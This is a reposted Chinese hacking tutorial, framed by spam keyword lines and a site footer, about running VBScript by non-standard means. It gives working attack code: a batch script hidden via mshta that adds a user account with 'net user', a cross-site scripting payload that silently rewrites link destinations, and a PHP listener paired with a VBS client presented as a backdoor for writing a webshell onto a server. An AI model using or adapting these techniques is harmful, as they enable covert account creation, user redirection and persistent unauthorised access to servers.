国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

非常棒的lcx寫的非常規運行vbs

2020-06-26 18:11:13
字體:
來源:轉載
供稿:網友
 這期專欄依舊是vbs,估計大家會有點煩,那我們來點有意思的吧。vbs有一個對像是“SAPI.SpVoice”,可以用它來講英語的
 
這個組件在xp、2003上默認都可以用的,調用后可以聽到電腦上一個國外老男人在說話。好比這樣一句代碼:●CreateObject("SAPI.SpVoice").Speak "I LOVE YOU"●,保存成vbs后綴后雙擊就會聽到英語的我愛你了。但隨之而來我們講到另一個問題,不保存成vbs或vbe后綴如何運行vbs代碼。 

一、用mshta來運行vbs 
hta這種類型的文件運行后也是系統權限,其調用宿主就是mshta.exe。我們在cmd下運行這樣一行代碼:●mshta vbscript:createobject("sapi.spvoice").speak("I LOVE YOU.")(window.close)●,也會聽到同樣的發音。這行代碼的意思類似是臨時生成一個hta文件,然后運行里邊的vbs代碼,再調用window.close將運行窗口關掉。整個運行過程是看不到hta窗口的。這種運行方式你會想到什么?最少我是想到了兩個。一個是批處理的隱藏運行,基本代碼如下: 
★ 
@echo off 
if "%1" == "h" goto begin 
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit 
:begin 
rem 下邊開始寫批處代碼了 
net user lcx 12345 /add 
★ 
這個代碼只能雙擊運行,運行過程中你看不到具體的批處理運行流程的。第二個我想的是注射過程中的用途。網上有篇流傳很廣的文章《mssql注射中多次調用參數導致多次echo的解決方法》,中心思想是將vbs語句用冒號連接起來然后用echo命令一次寫入到被注入的肉雞上,然后再調用這個vbs來下載文件。如果調用mshta執行的話,下載、執行一次就ok了。不過在命令行下用mshta后邊直接跟vbs代碼有個難處理的問題是空格,不過這個好解決用execute將vbs代碼放在括號里就ok了,這個讀者可以親自去試一下了,相信我不難的。 

二、用ie地址欄運行vbs 
很多人會用ie地址欄運行js,其實vbs一樣是可以的,我們隨便打開一個網站,在地址欄上輸入:vbscript:msgbox(Document.links.length)后回車,就會看到當前頁面有多少個連接了。用document.links(i).href這句的話,將i換成不同的自然數好比0、1、2、3等就會分別顯示出不同的鏈接地址。這部份內容其實是涉及到dhtml的內容了。我們來看一個最簡單的示例代碼: 
★ 
<a href=http://www.sohu.com>www.sohu.com</a> 
<a href=http://www.baidu.com>www.baidu.com</a> 
★ 
這是兩個鏈接,保存成網頁后點擊就會跳轉到不同的頁面。如果這個頁面有跨站,我想搞下破壞,讓用戶點擊www.sohu.com卻跑到我指定的頁面上能做到嗎?其實可以的,只要加一行語句就可以了,代碼是:●<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>●。這樣的話用戶再點擊sohu其實會跑到google上去了,原來頁面的版式卻絲毫沒有破壞。同樣的dhtml元素還有document.links(i).href、document.images(i).src、document.forms(i).action等等,跨站改變其動態元素是很好玩的。 

三、調用外部組件來運行vbs 
vbs本身功能畢竟有限,但是卻可以很好的與外部交互。要是用vbs來模擬nc發包的話,就要調用vb組件了。關于VBS如何成功調用MSWinsock.Winsock,zzzevazzz說的很清楚了。就是下載Winsock.ocs注冊,和VB6控件的授權密鑰的.reg導入注冊表。兩個文件可以在http://zzzevazzz.bokee.com/inc/vb6controls.rar這里下載。前不久學了一段時間php,網上看到一個php的監聽程序,可以用它來做一個后門,s端s.php代碼如下: 
★ 
<?  
// 設置一些基本的變量  
$host = "192.168.8.100";  
$port = 12345;  
// 設置超時時間  
set_time_limit(0);  
// 創建一個Socket  
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create  
socket/n");  
//綁定Socket到端口  
$result = socket_bind($socket, $host, $port) or die("Could not bind to  
socket/n");  
// 開始監聽鏈接  
$result = socket_listen($socket, 3) or die("Could not set up socket  
listener/n");  
// accept incoming connections  
// 另一個Socket來處理通信  
$spawn = socket_accept($socket) or die("Could not accept incoming  
connection/n");  
// 獲得客戶端的輸入  
$input = socket_read($spawn, 1024) or die("Could not read input/n");  
// 清空輸入字符串  
$input = trim($input);//將輸入結果寫入ok.php,這句是我加的 
fputs(fopen('ok.php','a+'),"$input"); 

//處理客戶端輸入并返回結果 
$output = strrev($input) . "/n";  
socket_write($spawn, $output, strlen ($output)) or die("Could not write  
output/n");  
// 關閉sockets  
socket_close($spawn);  
socket_close($socket);  
?> 
★ 
在ie打開這個php,運行它的服務器會監聽12345端口。如果我們再用vbs向12345端口發包的話,在同文件的php目錄下會生成ok.php。發包的內容就是我們要寫入ok.php的代碼。該vbs文件c.vbs代碼如下: 
★ 
Set ie=WScript.CreateObject("InternetExplorer.Application") 
ie.visible=false 
ie.Navigate "http://192.168.8.100/s.php" 's.php是服務端 
While ie.Busy 
      WScript.Sleep 100 
     Wend 

Do 
Wscript.Sleep 200 
Loop Until ie.ReadyState=4 

Set socket=WScript.CreateObject("MSWinsock.Winsock") 
socket.Protocol=0 
socket.RemotePort="12345" '端口 
socket.RemoteHost="192.168.8.100" '主機 
socket.connect socket.RemoteHost, socket.RemotePort '連接 
WScript.sleep 10 
ddd="<?phpinfo();>"&Chr(13) '這里你可以改成一句話的php木馬 
socket.SendData ddd  
WScript.sleep 100 
wscript.echo "ok" 
'socket.senddata Chr(13) 
socket.close 

Set ie=nothing 
★ 
一個vbs和一個php珠聯璧合,打造了一個非常規后門。當然這個后門的價值不大,但重要的是思路,不是嗎? 
 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 平阴县| 封开县| 革吉县| 长沙县| 西吉县| 玛沁县| 静海县| 临泉县| 铁力市| 文安县| 昌平区| 博兴县| 灵武市| 曲沃县| 邹平县| 星座| 和顺县| 海阳市| 通州区| 塔城市| 大竹县| 大埔县| 贵溪市| 页游| 丹寨县| 无为县| 丹阳市| 禹州市| 大化| 谷城县| 双峰县| 来凤县| 潞城市| 绿春县| 平罗县| 庄河市| 山东省| 宜州市| 新龙县| 安义县| 琼结县|